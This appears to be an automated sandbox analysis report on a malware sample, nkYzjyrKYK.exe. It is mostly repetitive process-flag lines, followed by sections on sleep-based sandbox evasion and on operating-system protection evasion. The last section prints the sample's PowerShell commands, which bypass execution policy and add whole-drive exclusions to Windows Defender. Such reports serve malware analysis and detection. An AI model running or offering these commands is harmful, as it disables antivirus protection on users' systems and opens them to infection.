        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX

        Malware Analysis System Evasion

        barindex
        Uses ping.exe to sleep
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping 8.8.8.8 -n 1
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping 8.8.8.8 -n 1Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeWindow / User API: threadDelayed 9998Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4215Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3265Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6731Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2958Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7199Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2464Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7571
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1933
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7883
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1680
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exe TID: 2800Thread sleep time: -99980s >= -30000sJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5260Thread sleep count: 4215 > 30Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5260Thread sleep count: 3265 > 30Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 612Thread sleep time: -5534023222112862s >= -30000sJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3192Thread sleep time: -922337203685477s >= -30000sJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3968Thread sleep count: 6731 > 30Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4208Thread sleep count: 2958 > 30Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5096Thread sleep time: -8301034833169293s >= -30000sJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2924Thread sleep count: 7199 > 30Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6872Thread sleep count: 2464 > 30Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3268Thread sleep time: -6456360425798339s >= -30000sJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6044Thread sleep count: 7571 > 30
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6044Thread sleep count: 1933 > 30
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5708Thread sleep time: -3689348814741908s >= -30000s
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5640Thread sleep count: 7883 > 30
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3872Thread sleep time: -4611686018427385s >= -30000s
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5292Thread sleep count: 1680 > 30
        Source: C:\Windows\System32\ReAgentc.exeFile opened: PhysicalDrive0Jump to behavior
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeLast function: Thread delayed
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeThread sleep count: Count: 9998 delay: -10Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeFile opened: C:\Users\user\AppData\Local\Temp\D3B0.tmpJump to behavior
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeFile opened: C:\Users\user\AppData\Local\Temp\D3B0.tmp\D3B1.tmp\D3B2.tmpJump to behavior
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeFile opened: C:\Users\user\AppData\Local\Temp\D3B0.tmp\D3B1.tmpJump to behavior
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeFile opened: C:\Users\user\AppData\Local\Jump to behavior
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeFile opened: C:\Users\user\Jump to behavior
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeFile opened: C:\Users\user\AppData\Jump to behavior
        Source: ReAgentc.exe, 00000010.00000002.2212377513.00000288C9735000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \Device\HarddiskVolume1\??\Volume{ad6cc5d8-f1a9-4873-be33-91b2f05e9306}\??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
        Source: curl.exe, 00000007.00000003.2180548349.000001B169854000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000012.00000002.2298553951.00000166B8E71000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeCode function: 0_2_0040ADD6 GetTempPathW,LoadLibraryW,GetProcAddress,GetLongPathNameW,FreeLibrary,0_2_0040ADD6
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeCode function: 0_2_00409FD0 SetUnhandledExceptionFilter,0_2_00409FD0
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeCode function: 0_2_00409FB0 SetUnhandledExceptionFilter,SetUnhandledExceptionFilter,SetUnhandledExceptionFilter,0_2_00409FB0

        HIPS / PFW / Operating System Protection Evasion

        barindex
        Adds a directory exclusion to Windows Defender
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'"
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'D:\'"
